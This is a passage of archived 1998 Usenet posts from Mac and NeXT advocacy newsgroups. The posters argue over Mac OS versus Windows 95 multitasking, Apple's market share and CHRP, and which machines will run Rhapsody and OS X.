_near_ rather than _at_ its best-case point.
We thus would have two systems offering much the same experience to users
- one using cooperative, the other using pre-emptive multitasking.
(Just making this one point --- leaving the discussion.)
>[Josh's main points snipped]
>
>Here was my original point: Mac OS multitasking is inferior to Windows 95
>multitasking. Concede this and the argument will be over.
MacOS multitasking is actually not inferior; both systems are vulnerable
in the presence of misbehaving applications. Thus they are comparable,
even if one is based upon a _theoretically better_ foundation. Theory is
all fine, but if you botch it in practice, your nice theory won't help
you.
I personally dislike _both_ Win95 _and_ MacOS.
>
>--
>Brian Quinlan
>quinlan@intergate.bc.ca
>
>-----== Posted via Deja News, The Leader in Internet Discussion ==-----
>http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
// Christian Brunschen
Date: Thu, 30 Jul 1998 07:55:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-3007980755240001@wil34.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net> <6onmii$njn$1@server.signat.org> <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <6ooslo$scj@sjx-ixn4.ix.netcom.com> <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>
In article <gmgraves-1807981227580001@sf-usr1-32-160.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6ooslo$scj@sjx-ixn4.ix.netcom.com>, Jonathan Hendry
> <jhendry@subsequent.com> wrote:
>
> > At the very least, this way Apple gets to keep up with the PC
> > market. If they try to go proprietary, there's a huge risk
> > of falling behind if the PC market takes an unexpected turn.
>
> They will fall behind anyway because by using the incompatible
> PPC chip, Apple is on the outside of the mainstream computer
> biz looking in.
When is PPC going to fall behind x86? As a laptop/fire starter
combination? Sure. But for chip performance, PPC hasn't fallen behind and
doesn't look to fall behind any time soon.
> >
> > Apple's revenues are not in free-fall. They're flat.
>
> A 20% drop this quarter is flat? You speak strangely, friend.
From quarter to quarter, it's flat.
> > Apple wouldn't last three years if they get tangled up with
> > some partner. It'd be a death sentence. They have far, far
> > better chances of surviving on their own.
>
> Then, I'm afraid, long run, they have NO chance. (just my opinion Maury!)
This is silly. Apple's prospects today are better than they've been for a
long time.
What will happen if Apple gets tangled up with a partner?
Taligent
Pink
CHRP
You could argue all sorts of reasons why those failed, but in every case,
it was a matter of trying to design a horse by committee.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 30 Jul 1998 08:32:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Message-ID: <joe.ragosta-3007980832350001@wil34.dol.net>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <35b8ecbc.26967836@news.newsguy.com>
In article <35b8ecbc.26967836@news.newsguy.com>, telam@iquest.net wrote:
> You are right in concept, it's the numbers that are confusing you. The
PC Data
> 9.4% report refers, I think, to the US retail store channel only, while the
> 5-6% number includes the US direct channels to corp. and individual
purchasers,
> not to mention the rest of the world. Joe gets his share "increase" by
> comparing the 2.
Bullshit. Please provide one citation of a message where I did that.
In fact, I was the first one to point out that MacOS Rumors was wrong for
doing that.
I have been comparing quarter to quarter numbers -- always using the same
source of data for both quarters. That's the only reasonable way to do the
comparisons since comparing data from different sources is meaningless.
By those figures (PC Data's numbers as quoted by Kevin Stone), Apple's
total worldwide share increased from Q4 1997 to Q1 1998 and was flat from
Q1 1998 to Q2 1998.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: Thu, 30 Jul 1998 12:28:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ppot5$lig$1@nnrp1.dejanews.com>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com> <joe.ragosta-2907982106410001@elk76.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Some time ago I asked about the possibility of writing a "Black Box" that
> > would allow NeXTSTEP apps to run under Rhapsody. I got several responses
> > indicating that it probably would be feasible (and easier to do than writing
> > the Blue Box was) but that the people who could do it probably have better
> > things to do with their time. Like writing native Rhapsody apps.
>
> I wouldn't be surprised if there's no demand for it. I see a lot of
> Rhapsody people rewriting their apps for Yellow Box. I guess a company
> with a lot of custom apps might be able to use it, but I think porting a
> NeXTStep app to Yellow Box is supposed to be very easy.
Well, there would be demand because there are a lot of orphaned NeXTSTEP apps
-- apps whose developers have long since moved on to the great compiler in
the sky. So there's no-one around to port them.
> BTW, what does Improv do?
Improv is one of the those programs that defies description (at least by me).
Something of a cross between a database and a spreadsheet, although that
description does not do it justice.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Thu, 30 Jul 1998 08:36:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3007980836280001@wil34.dol.net>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl>
In article <6pp7uo$knq$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> Donald:
>
> >The final straw was when Apple killed CHRP. Yes, Joe, Apple
> >killed CHRP. The arguements for CHRP wasn't as solid as it
> >had been when others backed out, but it was always pushed as
> >the easy way to make clones that would run the MacOS, Apple
> >had pushed that over two WWDCs and god knows how much other
> >developer info, and suddenly it was gone.
>
> "Steve Jobs." I guess. The future will tell whether it was
> the right thing to do. Of course its killing is the only
> reason Apple still is able to keep overpricing its machines.
> (Hm, they aren't overpricing really: Apple's machines are
> very nice, actually, well worth their money... but it _is_
> the reason they don't need to compete.)
>
> I really hated it when Apple killed CHRP. I like standards.
> I like being able to know what to expect. I _really_ would
> have liked labels proclaiming "runs on CHRP".
I still don't see how Apple killed CHRP.
IBM dropped CHRP before Apple.
Microsoft dropped CRHP before Apple.
Sun dropped CHRP before Apple.
Novell dropped CHRP before Apple.
Apple was the last major company supporting CHRP before they dropped it.
There's no disputing that fact.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 30 Jul 1998 08:34:43 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3007980834480001@wil34.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <35BE0268.1B22EC9D@earthlink.net> <joe.ragosta-2907980850290001@wil64.dol.net> <FIiROLCWddLd-pn2-968n2H0vJgLO@localhost> <6pojg0$mil@newsb.netnews.att.com>
In article <6pojg0$mil@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> taiQ <pit@iohk.SPAM-NOT.com> wrote:
> >> It's not the same thing.
> >
> >And NT 4 is not the same as NT 5. Now, isn't the Son of Rhap based on
>
> And NT 5.0 is how late ?
Do you want that in dog years? :-)
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 30 Jul 1998 08:39:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3007980839550001@wil34.dol.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17>
In article <B1DA7956-48FFC@206.165.43.17>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >Oh, you mean the one after that. Just how many future software versions
> >running on your 7300 is the _right_ number? Where does Apple draw the
> >line?
>
>
>
> OK, so now we can assume that Apple can rightfully, legally, ethically and
> morally introduce a new OS that will only run with the latest generation
> hardware?
>
> Where does Apple draw the line, Joe?
At a major transition point. New motherboard, new processor family.
>
> Where I, and my lawyers (part of the almost-certain-to-happen
> class-action-suit) claim that it does, if a judge rules in our favor.
On what grounds? You'll have Rhapsody on your 7300. That's all that they
promised.
And maybe you can see now why Apple isn't making any more promises. If a
meteor smashed their headquarters and stopped them from delivering a
product when they said they would, people like you and their slimy lawyers
would sue.
>
> Here's my challenge to Apple:
>
> I am willing to pay $50 MORE for a PCI version of MacOS X than for the G3
> version.
>
> How many are willing to do the same?
I don't know. Perhaps if you find a million and hand Apple a check for $50
million they might take you seriously.
>
> Betcha that even if 1 million of us said that we were willing to pay $50
> more, that Apple would still say "no" to a pre-G3 version of MacOS X
> because it's not about expenses, but about control.
Why don't you find a million people and find out? Because it's all
bluster, that's why.
How many people signed up for your R&D consortium? Seems to me that that
was another one that you claimed would have a million supporters at $50
each. Did you get your first thousand yet?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Thu, 30 Jul 1998 12:37:55 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pppf3$m4m$1@nnrp1.dejanews.com>
References: <andyba-ya02408000R2907981014580001@news> <1998073004311700.AAA06296@ladder01.news.aol.com> <id_est-3007980242260001@192.168.1.3>
id_est@interport.net (tse_di) wrote:
> The fact that applications (mac and win) keep putting toolbars with
> buttons all over the place that do the same thing that menus do seems to
> supports this idea. People seem to find a single click (without dragging
> down a menu) to Save or Print or whatever useful. Proper tear off menus
> would go a long way to getting rid of this toolbar clutter without using
> the fuctionality.
Agreed. I love NeXTSTEP's tear-off menus -- the result is so much more
usable, to my mind, than an icon bar full of very tiny and not always very
clear icons.
The one way in which I think NeXTSTEP's tear-off menu system could be improved
is by allowing tearing off of individual menu items, rather than being limited
to sub-menus. Often all I want is one or two items. With that change, I could
then build up my own on-screen action bar with all the menu items I use most.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Thu, 30 Jul 1998 08:55:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3007980855070001@wil34.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net>
In article <macghod-2907982228450001@sdn-ar-002casbarp187.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <35BFC76E.109C@geocities.com>, landivar2@geocities.com wrote:
>
> > > I was actually thinking more of the way that when you start writing a CD
> > > under MacOS the entire box is rendered useless while the CD is
writing. For
> >
> > Don't blame apple blame the *stupid* CDR software.
>
>
> I shouldnt blame Apple for not having true multitasking? Uh huh. SInce
Will you stop the crap about "true multitasking"? You've been corrected on
this dozens of times. The Mac has true multitasking--just a different type
than Windows.
> macos x will be out in a couple of years, I wont lose sleep about it, but
> on REAL os's no software COULD do this, no matter how hard the programmer
> tried.
His point is that Win95 even with what you call 'true multitasking' will
also do the same thing.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 30 Jul 1998 08:54:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3007980854080001@wil34.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au>
In article <6ppbmg$m1p$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Landivar2 <landivar2@geocities.com> wrote in message
> 35BFC76E.109C@geocities.com...
> >Christopher Smith wrote:
> >
> >> I was actually thinking more of the way that when you start writing a CD
> >> under MacOS the entire box is rendered useless while the CD is writing.
> For
> >
> >Don't blame apple blame the *stupid* CDR software.
>
> No, I have every right to blame Apple for writing an OS that forced the
> writers of the CDR program to make it this way so they could (nearly)
> guarantee not getting coasters.
Then why aren't you blaming Microsoft for the coasters I got on my Win95
machine?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 09:06:36 -0500
Organization: Prairie Group
Message-ID: <MPG.102a39ec9e60f0f0989a48@news.supernews.com>
References: <macman-2907982124020001@d185d1c66.rochester.rr.com> <B1E55EBE-47EE7@206.165.43.139>
In article <B1E55EBE-47EE7@206.165.43.139>, english@primenet.com says...
> Projecting from this trend:
>
> MacOS XI should require a computer not more than 2 months old...
>
> MacOS XII will only run on those computers that it ships with.
>
> MacOS XIII will only run on computers available a year after it is
> released...
>
And if you measure the height of a kid as he grows to 10 years old and
project from the trend, the kid will be about 30 feet tall when he is 21.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 09:06:24 -0500
Organization: Prairie Group
Message-ID: <MPG.102a39e0cc43cdbb989a47@news.supernews.com>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl>
In article <6pp7uo$knq$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl
says...
> >* Delivering OS X will stretch Apple to the breaking point.
>
> OS X is a rerun of Copland. I'm not sure they'll manage to
> get it finished before another switch-the-CEO game is played,
> and the _new_ CEO replaces it by the development of something
> still different.
>
Nope. There's a key difference between OS X and Copland. Copland would
run all old applications with not changes at all, and have all the
benefits of the new system. 100% binary compatible.
OS X/Carbon says "We're throwing out 15% of the API and revamping the API
to make it work on our OS."
If Copland had taken that strategy, it would have succeeded. Even with
the much reduced resources, I think they can succeed. If they don't
overreach and start promising more than they can deliver.
Donald
Date: Thu, 30 Jul 1998 10:07:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Distribution: world
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-3007981007150001@wil72.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <macman-2907982115550001@d185d1c66.rochester.rr.com> <6pps8f$fvu$1@callisto.acsu.buffalo.edu>
In article <6pps8f$fvu$1@callisto.acsu.buffalo.edu>,
scholl@callisto.acsu.buffalo.edu (Edward P Scholl) wrote:
> Stephen Rea (macman@rochester.rr.com) wrote:
>
> : Sure it does. Virtually everyone with a computer that can run Windows
> : already has Windows. Most of their sales are to new PCs. Even Windows 98
> : hasn't been selling as well as expected,
>
> i believe i read on news.com that it was selling quite well-a litlle better
> than expected actually.
MS _always_ says that. Heck, they were saying that about NT when it was
selling at 1/4 of predicted rates.
The facts are that MS sold about 1 million copies in roughly 5 times as
long as it took them to sell the same number of copies of Win95. Read the
numbers, not their interpretation.
>
> :and many major vendors are still
> : not shipping new machines with it.
>
> *many* major vendors? name 5. heck, make that 2.
>
> -ed
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 30 Jul 1998 10:03:01 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Message-ID: <joe.ragosta-3007981003010001@wil72.dol.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BCA708.7440433@intel.com> <joe.ragosta-2707981311490001@wil76.dol.net> <6pk34k$9gu$1@nntp2.ba.best.com> <joe.ragosta-2807980907490001@wil43.dol.net> <MPG.10284cf7951f302b989a3d@news.supernews.com> <id_est-2807982345510001@192.168.1.3> <alex-2907980924110001@castle.webis.net> <id_est-3007980101250001@192.168.1.3>
In article <id_est-3007980101250001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
> In article <alex-2907980924110001@castle.webis.net>, alex@webis.net (Alex
> Kac) wrote:
>
> > In article <id_est-2807982345510001@192.168.1.3>, id_est@interport.net
> > (tse_di) wrote:
> >
> >
> > : There are various programs that will allow multihoming on a Mac but it
> > : would be nice if the added this to the standard Mac TCP stack.
> >
> > One problem is the terms used. I hear people using the term "multi-homing"
> > meaning: 1) I can have TCP/IP going over two interfaces 2) One interface
> > has multiple IP addresses.
> >
> > The MacOS has built in #2. It does not support #1 yet.
>
> True, When I say "multihoming" I mean the ability to bind multiple
> protocols to the same interface (Mac already does this), the ability to
> bind multiple addresses to the same protocol (Mac already does this) and
> the ability to bind the same protocol to multiple interfaces (The mac
> doesn't do this).
>
>
>
> PS to Joe who can check TCP/IP mail on local server while using TCP/IP on
> PPP. what mail server has your mail on it and what mail client are you
> using?
It actually works with two sets of server/client software.
In both cases, I can be connected via PPP over Open Transport while
checking my e-mail.
1. cc:Mail client and cc:Mail server.
2. MS Outlook client and MS Exchange server.
10BaseT network.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 30 Jul 1998 09:06:49 -0500
Organization: Prairie Group
Message-ID: <MPG.102a39f3be9610b9989a49@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu> <MPG.10239d85c7aea4289899f7@news.supernews.com> <FIiROLCWddLd-pn2-COjHod3ePqsx@localhost> <MPG.102541016fb0e3c3989a15@news.supernews.com> <Josh.McKee-2907981844450001@pm3a7.rmac.net>
In article <Josh.McKee-2907981844450001@pm3a7.rmac.net>,
Josh.McKee@cbns.com says...
> Who cares what scope Rhapsody will have if it is a dead end OS?
I agree it's a dead end. It would have been a dead end if OS X/Carbon
was announced after Rhapsody was shipping for a year and flopping on the
ground.
> His point is very well made...Apple keeps changing the goal posts. What
> is to say that in a year from now, Apple doesn't announce OS X dead and OS
> XII the "next generation OS"? And that OS XII will not run on anything
> but G4. Sure, you can still run OS X on your G3 Mac, as promised. But
> that's about the only thing you'll be running on it as no one will develop
> applications for it.
Nothing specific to say about it. I have confidence OS X will succeed,
because it both can be accomplished (unlike Copland) and does not require
such major rewriting that it will be supported by the developers (unlike
Rhapsody). If somehow it does flop and they need a next generation, then
I hope they go for it, though I don't think Apple can survive another OS
flop. Which is why I don't want Apple to risk making OS X flop by
overreaching.
> I'm in complete agreement with him...if you want to run Apple's latest and
> greatest OS when it finally ships, then wait until that OS is shipping
> before doing so. Apple has moved the goal posts twice (not once, like you
> have claimed) and many a Mac owner has been left behind.
In this statement, we are in absolute agreement. Do not buy a computer
just because Apple said their new OS will run on it. Because, they may
be wrong. Things may change. Not changed because Apple is venal and
greedy, but because they were wrong.
If you have to buy a computer, one consideration of which computer should
be what Apple is saying as it is providing the best information it has at
the time. To the best of their knowledge at the time, people would need
to buy any PPC to run Copland. To the best of their knowledge at the
time, people would need to buy a PPC with PCI slots to run Rhapsody. And
now, to the best of Apple's knowledge at the present time, people will
need to buy a G3 computer to run OS X. Things can change, in either
direction, and so I wouldn't change just to follow the word. But, if I
was buying a new computer and if I wanted what OS X would provide, yup,
I'd buy a G3.
(Of course, if you are a developer, you may have to switch early so you
can work with the betas. But that's a special case.)
Donald
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Fri, 31 Jul 1998 00:10:41 +1000
Organization: University of Queensland
Message-ID: <6pput9$vsd$1@bunyip.cc.uq.edu.au>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <35BFC76E.109C@geocities.com> <6ppbmg$m1p$1@bunyip.cc.uq.edu.au> <joe.ragosta-3007980854080001@wil34.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in message
joe.ragosta-3007980854080001@wil34.dol.net...
>In article <6ppbmg$m1p$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>> Landivar2 <landivar2@geocities.com> wrote in message
>> 35BFC76E.109C@geocities.com...
>> >Christopher Smith wrote:
>> >
>> >> I was actually thinking more of the way that when you start writing a
CD
>> >> under MacOS the entire box is rendered useless while the CD is
writing.
>> For
>> >
>> >Don't blame apple blame the *stupid* CDR software.
>>
>> No, I have every right to blame Apple for writing an OS that forced the
>> writers of the CDR program to make it this way so they could (nearly)
>> guarantee not getting coasters.
>
>Then why aren't you blaming Microsoft for the coasters I got on my Win95
>machine?
Because you haven't given any reason why I should.
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 30 Jul 1998 09:15:45 -0500
Organization: Prairie Group
Message-ID: <MPG.102a3c0fa7ecf8bf989a4b@news.supernews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <MPG.1024148b9fd31ab8989a01@news.supernews.com> <6phc10$ibo$1@nnrp1.dejanews.com> <Josh.McKee-2907981815320001@pm3a7.rmac.net>
In article <Josh.McKee-2907981815320001@pm3a7.rmac.net>,
Josh.McKee@cbns.com says...
> And if your Windows 95's experience is as good as the Macs experience,
> then why are you debating this?
>
I apparently blew not only my statement and my explanation, so third time
is a charm.
IMHO, Windows 95's multitasking is a bit better than the Mac's. Not a
whole lot, but a bit better.
The general Mac user experience, IMHO, is a better than the Windows 95
user experience. It's not as much better than it used to be, but still
better.
IMHO, the amount that the Mac user experience is better, more than makes
up for the minor inferiority in terms of multitasking.
Donald
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 30 Jul 1998 14:11:18 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ppuu6$pgu@newsb.netnews.att.com>
References: <6pnilb$4hq$2@nnrp02.primenet.com> <B1E55985-344CC@206.165.43.139> <6ppkjd$lfr$1@nnrp02.primenet.com>
Originator: gupta@tlctest
>: HTML doesn't allow one to edit composite documents or to add to them.
HTML allows one to create composite documents -- documents containing
text, images, video-clips, applets, etc. etc.
A good Web page builder, like Golive CyberStudio, allows WYSIWYG editing
of many of the allowed elements in an HTML page. ( Here, WYSIWYG should be
taken to mean "WYSIWYG within the precision that HTML allows for. )
One does not have in-place editing of images, etc., but I don't think
that OpenDoc had that either (I may be wrong here.) In the WYSIWYG HTML
world, you edit content in different editors, and drag-and-drop or
point-and-shoot to create the initial binding into your document.
Overall, it is a much more loosely coupled structure than OpenDoc, and
so is easier to build.
One can imagine that when most applications become Apple-scriptable,
the integration between CyberStudio and other applications can be made
tighter.
OpenDoc might be "superior" to HTML, technically. But we all have
investments in applications, having either written them, bought them,
learned them, that one would be reluctant to discard. If OpenDoc had, e.g.,
provided an easy way for you to edit a contained GIF with a non-OpenDoc-ed
Photoshop, then OpenDoc might have caught on.
Other points to notice are that HTML documents are easily supported
across multiple platforms, without requiring extensive code and support
from the platform vendor (unlike OpenDoc).
I like the concept of "design for acceptance". Apple needs to think
hard about how to do that with the Yellow Box.
-arun gupta
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 29 Jul 1998 18:34:09 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2907981834090001@pm3a7.rmac.net>
